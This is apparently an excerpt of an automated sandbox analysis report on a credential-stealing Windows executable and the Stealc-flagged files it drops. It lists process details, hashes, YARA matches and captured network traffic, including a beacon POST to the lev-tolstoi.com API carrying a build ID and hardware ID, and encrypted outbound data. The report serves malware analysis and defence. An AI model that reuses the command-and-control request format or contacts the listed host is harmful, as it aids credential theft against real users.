2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: 41 1e 24 d7 fe 02 91 68 5f 38 bf 6b 9e 0b 4c 28 83 3a 83 d6 99 4a 6d de f6 c0 b9 f7 ee 59 94 cd e8 7a 2f 05 5b 7d 3d 75 c6 ce ba c3 7d b0 7b 1c 18 45 4b 11 4e 56 7c 0e 49 c6 50 4a f7 11 bf 9b c3 4c ce c4 a7 e3 df 40 35 6a 77 a3 a5 64 91 09 02 7a 3c 35 ed 36 4d 8a 41 fc 29 23 13 21 ba 0b dd f1 fa 45 c9 62 f6 14 57 14 1e 33 dc a6 f5 f7 b0 cd 5e ed 8b a8 ac 65 c7 59 f6 85 bb 92 b7 d9 ca c4 3f f9 fa 90 45 b2 9e f3 37 39 00 bf 92 52 63 52 b9 38 c1 fd ed 8b 51 ea 7c a3 9b ba 73 15 0f 10 e3 41 01 e1 6d 21 70 1b 71 b5 61 ef 8b 93 fc 76 af b4 58 6a 8b ac ee 7a 6c 61 e7 9a 1a 1a e2 a2 62 e7 4c 93 c6 0a 18 57 27 07 b7 37 c4 9d db ae 6e 70 44 30 07 27 93 60 76 da 58 05 ec 6d aa 1d a2 7e 91 82 c5 f1 03 3f 93 be 3c 87 23 95 97 3a 7f 0a 06 30 3e 7f 14 b4 1f 43 88 bc a8 Data Ascii: A$h_8kL(:JmYz/[}=u}{EKNV\|IPJL@5jwdz<56MA)#!EbW3^eY?E79RcR8Q\|sAm!pqavXjzlabLW'7npD0'`vXm~?<#:0>C
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: dc c4 80 fc 29 0c 7e a4 72 4f 7f 26 e5 e9 1d 42 f1 80 4e 1b 61 b0 c3 77 b0 2f 68 22 04 5e f3 ca f0 ba a6 51 97 01 de 2f 57 fb 7d 4a 3e b2 73 7d 6c 76 20 5c 33 da 54 f1 d3 ec cd d8 a1 e6 1d b5 32 c7 43 6b 4f 98 36 58 a4 73 2a aa 0b 32 03 e3 9d d9 db 8f a2 93 f9 84 25 80 65 3e cf 97 e7 b4 b7 ff 42 6f 67 92 bf 74 2d 55 c5 7f 08 57 ca 00 b7 60 6f d4 0b d8 1b 7e c1 1c f8 30 8b d4 46 e6 65 4f 32 5a 55 11 f6 2c 57 94 dd b9 74 38 ad f6 15 0a 64 22 6e 7c 0c 7f 49 7b 27 04 11 99 fa 19 15 14 39 91 e8 ef e4 ae ef 46 20 11 1f 70 11 10 37 86 c6 08 2c 6d 37 dd 54 8e 09 c9 25 32 4e e4 e2 f6 a8 f0 c5 ad 13 80 34 a4 e5 c9 0d 6d dc 13 9e 9d 0d 0b b3 90 fb 5a f1 46 d2 05 e1 16 c6 8a 57 5e 4b d8 ee e8 7b cc 00 f7 9c 7a 42 dd 79 76 1b df c2 7c d8 4d 3b 6e 79 fd 4a 9b 3c 90 71 Data Ascii: )~rO&BNaw/h"^Q/W}J>s}lv \3T2CkO6Xs*2%e>Bogt-UW`o~0FeO2ZU,Wt8d"n\|I{'9F p7,m7T%2N4mZFW^K{zByv\|M;nyJ<q
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: f7 e8 57 ba 74 2e 0e 0f 91 0d 97 ac e6 a9 ec d1 c3 68 ba ee 5c 6f 83 e1 3f 4c c6 b1 76 bb da 21 0f ce c3 2b 67 72 87 f4 10 f0 af 1a f7 33 28 72 a5 06 48 25 14 97 78 2f f2 41 f0 ae ca d0 45 d9 5b a0 db 85 4f 94 fa 83 0f 11 27 03 b3 95 a6 4d 66 20 fa 7a c0 41 10 72 3f de 8a b4 0e 4d 07 e5 0e 8a 65 df b6 4b d1 b2 8b 8d c8 17 10 5f 97 e7 9c 51 61 cf 2c 40 c0 89 55 2b 03 a3 a5 d3 3f 32 11 23 ef 7a 1c 28 39 ad 8c 12 ae 51 27 93 2f 2c 32 6c b4 ce 4f 77 58 02 ea 2d 2c 0b df ee 16 70 46 04 5c 45 39 2a 90 65 31 8d 12 6f a9 ef 36 74 a5 b2 b7 92 c3 0f f9 6c 7d b7 31 05 28 5e b4 3e b2 fd 61 f8 f3 c7 91 f6 bb f0 1f 2c e6 fd 41 3d 25 fe df a3 78 83 2d e1 77 ee 70 f5 6d 36 c3 4a de 71 02 70 89 7b 2e ce a7 97 6d 23 c2 32 db 7c 83 4f c5 b5 1b 70 48 59 21 8b d1 c3 af 97 dc Data Ascii: Wt.h\o?Lv!+gr3(rH%x/AE[O'Mf zAr?MeK_Qa,@U+?2#z(9Q'/,2lOwX-,pF\E9*e1o6tl}1(^>a,A=%x-wpm6Jqp{.m#2\|OpHY!
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: b4 a4 e0 66 cf ad 9c e9 e1 bb f6 9e 45 81 4b 23 fd 7e df 92 cf 8e 74 71 15 39 f6 2f a7 15 05 b0 2f 5e ae d7 15 fb 78 95 b3 a2 9e 05 a6 29 2d 78 46 d4 bd f4 b8 58 54 bc f3 f5 f1 6b 6f a7 bb d1 47 7a 02 79 cf 1a cb d1 2b 99 1d 6b c7 76 bd 9e 1b b4 ef c9 98 40 f7 04 3d 55 3a db 38 90 28 55 3d 5d c8 93 68 cb de 85 11 31 dc b8 e5 71 a3 5f 51 9e 0b 59 99 f8 e9 8d 49 17 4b df b7 6b 49 1d 3a 2b bf 5d d0 3d 5b e1 ff 18 33 6f d9 2e a4 6c 6d f1 d5 f1 bf 56 e2 7a 99 3a be 6f 18 8e 11 cb 14 98 36 1e 2e 52 58 f7 b2 d9 3a da 61 71 36 69 51 6b b1 3f 6f dc 60 5e d5 18 fb e7 c3 4d e1 86 a0 3d 96 b9 07 b6 9f 1e 22 9d 36 8e a8 5b 97 e6 6a 27 ae 75 58 6e 6c a9 64 e1 fa bc e6 6e bb ef 9e ca 2a 50 ec 3c 9b 18 7c a0 39 5e 42 70 49 46 b8 de 44 4f e0 e8 3f 66 c5 2d 53 9a a6 8a 44 Data Ascii: fEK#~tq9//^x)-xFXTkoGzy+kv@=U:8(U=]h1q_QYIKkI:+]=[3o.lmVz:o6.RX:aq6iQk?o`^M="6[j'uXnldn*P<\|9^BpIFDO?f-SD
2024-12-23 06:28:41 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k1sktr496svfh54gfspj013su9; expires=Fri, 18 Apr 2025 00:15:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ae%2BGjn3Q1F7mz24wMMIA6iCghOV5d7XDkC%2FeEzDnyn2p1Ugsnn82IDhMRb8mJWWeSEx0mfGEcHA4L57%2FuusFWt7y38A769scMYne3rbcuvJtAA54judloQYJKeGqEGJm2Q8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664af2387b7c93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1858&min_rtt=1840&rtt_var=703&sent=328&recv=581&lost=0&retrans=0&sent_bytes=2836&recv_bytes=561418&delivery_rate=1586956&cwnd=210&unsent_bytes=0&cid=5444ac8c07c82763&ts=2394&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49742	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:43 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: lev-tolstoi.com
2024-12-23 06:28:43 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 39 46 39 41 43 42 38 41 44 30 44 44 33 39 31 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=9F9ACB8AD0DD3917AC8923850305D13E
2024-12-23 06:28:43 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9khi0dk92d0oecnu7ne9knct8o; expires=Fri, 18 Apr 2025 00:15:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qqYPRtHLUl58udNvihM3DLFePB878i3Xlc4geCmPlFQtFJ7cYNVRi27wOfJEOvoCa%2BKgfUSyn%2FU0mof6KfapAsH64KKsZA8WZYdDrFJe2laaVCZwUt9HHTPpZtvNYzZETpA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664b0b9f3a334e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1796&rtt_var=679&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=981&delivery_rate=1606160&cwnd=173&unsent_bytes=0&cid=9186a6c77fe2fd56&ts=801&x=0"
2024-12-23 06:28:43 UTC	214	IN	Data Raw: 64 30 0d 0a 35 30 77 6e 7a 39 59 52 57 5a 4e 63 66 64 44 37 6b 70 6d 55 5a 70 50 63 49 54 66 6c 4d 56 38 67 72 38 30 4a 33 6b 4f 43 2b 76 61 38 4e 77 57 36 39 43 74 37 2b 79 67 4a 6f 4d 48 4f 74 73 68 4a 6f 75 51 55 47 64 63 41 61 67 36 65 2f 44 72 77 63 72 53 6d 32 59 67 71 51 5a 50 35 64 54 7a 31 63 68 69 6f 6e 72 43 31 74 67 44 6e 2f 68 73 48 79 52 4d 36 41 70 58 39 64 50 49 34 6f 49 2f 55 33 57 35 50 75 36 4a 68 59 38 39 7a 49 66 2f 4b 71 71 79 36 56 4b 4c 70 44 77 62 55 41 6e 45 52 6d 5a 45 6d 72 54 66 6e 6d 35 75 37 59 31 57 75 75 48 55 32 2f 6e 49 59 71 4a 36 77 74 62 59 41 35 2f 34 62 42 38 6b 54 4f 67 4b 56 2f 58 53 44 0d 0a Data Ascii: d050wnz9YRWZNcfdD7kpmUZpPcITflMV8gr80J3kOC+va8NwW69Ct7+ygJoMHOtshJouQUGdcAag6e/DrwcrSm2YgqQZP5dTz1chionrC1tgDn/hsHyRM6ApX9dPI4oI/U3W5Pu6JhY89zIf/Kqqy6VKLpDwbUAnERmZEmrTfnm5u7Y1WuuHU2/nIYqJ6wtbYA5/4bB8kTOgKV/XSD
2024-12-23 06:28:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:28:17
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\s31ydU1MpQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\s31ydU1MpQ.exe"
Imagebase:	0x600000
File size:	1'843'200 bytes
MD5 hash:	D96503971B338F5B4DB28E9F306A1FAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1415425762.000000000131C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1415661013.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1415818290.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1367343816.0000000001319000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1415450918.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:35:04
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe"
Imagebase:	0xb00000
File size:	2'845'696 bytes
MD5 hash:	97B29CE33CCFE8A2B642BD236A0DD337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:35:09
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe"
Imagebase:	0x680000
File size:	2'907'648 bytes
MD5 hash:	880F67C30D6C2335273B27DF0004F500
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.1623078762.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.1683875991.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.1681988687.0000000000681000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 012D6B63 Relevance: 1.9, Strings: 1, Instructions: 617COMMON

Download Yara Rule

Strings

M, xrefs: 012D6CF2

Memory Dump Source

Source File: 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, Offset: 012D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12d1000_s31ydU1MpQ.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 1ab893e421b6c5dad90b8a03a11847c4772e392cb0e8e7cd48cd6878e694b623
Instruction ID: 75ed41bedb018716bd8d1bd53911c11a22eb301281a0fadfb8c48595d68ba5f8
Opcode Fuzzy Hash: 1ab893e421b6c5dad90b8a03a11847c4772e392cb0e8e7cd48cd6878e694b623
Instruction Fuzzy Hash: 9402A6A644E3C29FD7038B7498752917FB1AE17228B1E49EBC0C0CF1B3E25D585AD722

Function 012FF245 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1415818290.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, Offset: 012FF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12ff000_s31ydU1MpQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66dcbaa91cd0cd26453f02053079c62d5d651db7824531bc6efa410089d201b9
Instruction ID: f0bd235c8324525f56ea97e71e333e91c071156e3daa7fefa5a13357c7a93b73
Opcode Fuzzy Hash: 66dcbaa91cd0cd26453f02053079c62d5d651db7824531bc6efa410089d201b9
Instruction Fuzzy Hash: 4271096245F3C15FD3478774897A4927FB0AE1306872E45EBC5C1CF0A3E24A4A4AD723

Function 013175B8 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1415818290.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, Offset: 012FF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12ff000_s31ydU1MpQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25891f9adccc152c8917a2ac4e1e6453920053c93f9147c8fa8d5aafb889bd71
Instruction ID: c33ac4e29c940595b4d0f7b3049c8e1d473d0057538c5bf921960a60aba618d2
Opcode Fuzzy Hash: 25891f9adccc152c8917a2ac4e1e6453920053c93f9147c8fa8d5aafb889bd71
Instruction Fuzzy Hash: 11D18CA285E3C18FD3074B749C796957FB1AE13228B1E04DBC1C4CF0B7E6A9095AD726

Function 012FF52D Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1415818290.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, Offset: 012FF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12ff000_s31ydU1MpQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32e00f483b44662337888167655d495d9f5f3e061f8a79a4bb4ee417e7d43f19
Instruction ID: 909ad5b3025b611f3028ca8d39352973f61c4508760f80c193a1ff6ce20b7271
Opcode Fuzzy Hash: 32e00f483b44662337888167655d495d9f5f3e061f8a79a4bb4ee417e7d43f19
Instruction Fuzzy Hash: 0E61092148F3C15FD3538BB889654823FB0AE0316832E49EBC4C1CF4B3D11A595AD722

Function 012FF570 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1415818290.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, Offset: 012FF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12ff000_s31ydU1MpQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62a9927125976ac58098278f8032a723002a1eb13cf0d826218821d92f98f3d2
Instruction ID: 3c7cd70f627b5632d881ab8291d077f18acbc282ec8560c1930efbd98336774d
Opcode Fuzzy Hash: 62a9927125976ac58098278f8032a723002a1eb13cf0d826218821d92f98f3d2
Instruction Fuzzy Hash: 2951D66148F7C15FD3538B7888665827FB1AE1312832E49EBC4C1CF4B3D11E599AD722

Function 012FF498 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1415818290.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, Offset: 012FF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12ff000_s31ydU1MpQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e2a00b7682c6b511698fc1d3252736a0fd0a126469cdcd30b23dcdffa760171
Instruction ID: b0b51e38238e10cee1c042b4ec1a21b0a9196f1391a55298ca866b6a75958523
Opcode Fuzzy Hash: 1e2a00b7682c6b511698fc1d3252736a0fd0a126469cdcd30b23dcdffa760171
Instruction Fuzzy Hash: 4641D86144F7C15FD347877449769823FB06E1316872E45EBC5C1CF4B3E50A5A4AD722

Function 012D7479 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, Offset: 012D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12d1000_s31ydU1MpQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction ID: 82ff46c10f5c6fc875b02f0ad207ef8a6fa7f7fbf983093ea1d8c817a714f968
Opcode Fuzzy Hash: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction Fuzzy Hash: 8421D0651092D58FD307CF78D5A4A82BFA1FF8B71A39E40DCC9C18F427C2A56542CB52

Analysis Process: HXPC21YC8H3Q6AWWXLQHI1I.exePID: 792, Parent PID: 6440COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Executed Functions

Function 00CA3D4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction ID: 99775dce2507b9122ce5d182086d93a5b46d8e7eb6cccc3ab3220eb4ee661b61
Opcode Fuzzy Hash: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction Fuzzy Hash: AEE092B2D0424BCFCB41CE39C81838AB7A5DB15310F140669B54CD7991F7748D50CB94

Function 00C9B0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00C9E183
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00C9E1AA
GetNativeSystemInfo.KERNELBASE(?), ref: 00C9E201

Memory Dump Source

Source File: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
